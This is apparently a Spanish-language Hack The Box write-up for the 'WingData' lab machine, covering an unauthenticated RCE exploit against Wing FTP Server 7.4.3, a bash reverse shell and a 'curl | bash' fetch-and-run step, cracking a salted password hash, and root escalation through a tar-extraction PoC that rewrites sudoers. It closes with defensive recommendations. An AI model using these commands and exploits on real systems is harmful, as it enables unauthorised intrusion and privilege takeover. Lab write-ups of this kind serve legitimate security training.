> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/hackthebox/facil/wingdata.md).

# WingData

## Introduccion

En esta maquina de Hack The Box se compromete un servidor Linux aprovechando una version vulnerable de Wing FTP Server, credenciales almacenadas en archivos XML y una escalada de privilegios mediante un script de restauracion vulnerable.

El objetivo es obtener ejecucion remota de comandos como `wingftp`, recuperar credenciales de `wacky` y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -Pn --min-rate 5000 -T4 -sV 10.129.52.135
```

![Nmap](/files/s2iP3JZBgyzW7gJFBM0q)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.66  |

En la web se observa la pagina corporativa de `WingData`:

![WingData](/files/l01Th1NfSDfeM1lWrnW7)

Se anade el dominio al archivo `/etc/hosts`:

```
10.129.52.135 wingdata.htb ftp.wingdata.htb
```

El boton `Client Portal` apunta a `ftp.wingdata.htb`, donde aparece un panel de Wing FTP Server:

![Wing FTP](/files/FwZ0KKkX6Y5J2NlJ464a)

La propia pagina indica la version:

```
Wing FTP Server v7.4.3
```

***

## Vulnerabilidad en Wing FTP Server

Se busca la version con SearchSploit:

```bash
searchsploit Wing FTP Server 7.4.3
```

![SearchSploit](/files/NGdNfLYNlFG38r0IR2pz)

Existe un exploit publico:

```
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
Path: multiple/remote/52347.py
```

Se prueba primero ejecutando `id`:

```bash
python 52347.py -u http://ftp.wingdata.htb -c "id"
```

![RCE id](/files/dEaEaU3VL8UW3aZEaYgU)

La ejecucion funciona como el usuario `wingftp`:

```
uid=1000(wingftp) gid=1000(wingftp)
```

Tambien se comprueba lectura de archivos con `/etc/passwd`:

```bash
python 52347.py -u http://ftp.wingdata.htb -c "cat /etc/passwd"
```

![passwd](/files/SKj8jYnUgca2Te5i5D8Q)

En `/etc/passwd` aparecen usuarios interesantes:

```
wingftp
wacky
```

***

## Reverse shell

Para obtener una shell interactiva se prepara un archivo `index.html` con una reverse shell:

```bash
#!/bin/bash

bash -i >& /dev/tcp/10.10.15.226/4444 0>&1
```

![Payload reverse shell](/files/0RxW0p5HxqS6S73iqgnU)

Se sirve el archivo con Python:

```bash
python -m http.server 80
```

![HTTP server](/files/RApLQjfVOuPzXUQuT1Ca)

Despues se ejecuta el payload desde el exploit:

```bash
python 52347.py -u http://ftp.wingdata.htb \
  -c "curl http://10.10.15.226:80/index.html | bash"
```

![Ejecutar reverse shell](/files/56KwxcuHJwOswqvCM8tm)

Con un listener en Netcat se recibe la conexion:

```bash
nc -lvnp 4444
```

![Shell wingftp](/files/31F92w68aLWumcZy8iK4)

Se obtiene una shell como `wingftp` en:

```
/opt/wftpserver
```

***

## Enumeracion de Wing FTP

El usuario `wingftp` requiere password para `sudo`, por lo que se revisan archivos de la aplicacion:

![sudo wingftp](/files/hX0eMtRRW3NHgi7X4bVn)

Dentro de `/opt/wftpserver/Data/` se encuentran archivos de configuracion y usuarios:

```bash
cd /opt/wftpserver/Data/
ls
cd 1/users
ls
```

![Data users](/files/HtEWeFGYzx5V83nBtNVL)

Entre los archivos aparecen:

```
settings.xml
wacky.xml
```

En `settings.xml` se localiza la cadena usada como salt:

![settings.xml](/files/zKFWk47QSDS3b4yfz683)

```xml
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
```

En el archivo `wacky.xml` se obtiene el hash del usuario `wacky`. Se prepara en formato `hash:salt`:

```bash
echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > wacky.txt
```

Se crackea con Hashcat usando `rockyou.txt`:

```bash
hashcat -m 1410 wacky.txt /usr/share/wordlists/rockyou.txt
```

![Hashcat wacky](/files/G1w2tAdaZ5bTakUv9nAZ)

Credenciales obtenidas:

```
Usuario: wacky
Password: #7Blushing^*Bride5
```

***

## Acceso por SSH

Con la password crackeada se accede por SSH como `wacky`:

```bash
ssh wacky@10.129.52.135
```

![SSH wacky](/files/fwbJNJTPyt7SAihtYoQy)

***

## Enumeracion local

Se comprueban los permisos sudo:

```bash
sudo -l
```

![sudo wacky](/files/39iDa0Cnl0Qa1W0d6U8u)

El usuario `wacky` puede ejecutar como `root` el siguiente script mediante Python:

```
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
```

Se revisan permisos del script:

![Permisos script](/files/LGFVPP180bDV4ceZaf1C)

Y se lee el contenido:

![restore\_backup\_clients.py](/files/MYguyEoeJZT0Z8VePzYc)

El script restaura backups `tar` desde:

```
/opt/backup_clients/backups
```

Y extrae el contenido en:

```
/opt/backup_clients/restored_backups
```

Este flujo de extraccion de archivos `tar` como `root` es el vector de escalada.

Ademas, los directorios de trabajo son escribibles por `wacky`, por lo que el usuario puede dejar backups maliciosos para que el script los procese:

![Permisos backup\_clients](/files/L0epcLAXI6AyWfqH9ZJo)

***

## Escalada de privilegios

Se descarga un PoC para `CVE-2025-4517`, orientado a abusar de la extraccion de tar mediante symlinks y hardlinks:

```bash
wget http://10.10.15.226/CVE-2025-4517-POC.py
```

![Descarga PoC](/files/2Jxd27w63mgtZJHN5VBN)

Se ejecuta el PoC:

```bash
python3 CVE-2025-4517-POC.py
```

![Root](/files/d7nGzauwafd1TTVapJTa)

El exploit crea un backup malicioso, fuerza la extraccion con el script vulnerable y consigue modificar `sudoers` para dar privilegios completos al usuario `wacky`.

Finalmente se obtiene una shell como `root`:

```bash
sudo /bin/bash
whoami
```

Resultado:

```
root
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Version vulnerable de Wing FTP Server expuesta
* RCE no autenticado en Wing FTP Server `7.4.3`
* Archivos XML con hashes de usuarios accesibles para `wingftp`
* Uso de salt conocido en `settings.xml`
* Password crackeable para el usuario `wacky`
* Regla `sudo` peligrosa sobre un script de restauracion de backups
* Extraccion insegura de archivos `tar` con privilegios de `root`

### Puntos clave

| Fase            | Tecnica                      | Resultado                           |
| --------------- | ---------------------------- | ----------------------------------- |
| Reconocimiento  | Nmap                         | SSH y HTTP expuestos                |
| Enumeracion web | Vhosts                       | `wingdata.htb` y `ftp.wingdata.htb` |
| Explotacion     | Wing FTP Server 7.4.3 RCE    | Shell como `wingftp`                |
| Credenciales    | XML + Hashcat                | Password de `wacky`                 |
| Acceso inicial  | SSH                          | Shell como `wacky`                  |
| Escalada        | Tarfile symlink/hardlink PoC | `wacky` con sudo completo           |
| Root            | `sudo /bin/bash`             | Shell como `root`                   |

### Recomendaciones

* Actualizar Wing FTP Server a una version corregida
* Restringir el acceso al panel de administracion y cliente FTP
* No almacenar hashes reutilizables en rutas legibles por usuarios de servicio
* Usar algoritmos de hashing robustos y salts por usuario
* Revisar reglas `sudoers` que ejecuten scripts con argumentos controlables
* Validar de forma segura archivos `tar` antes de extraerlos como usuario privilegiado
* Evitar extracciones que permitan symlinks, hardlinks o path traversal


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/hackthebox/facil/wingdata.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
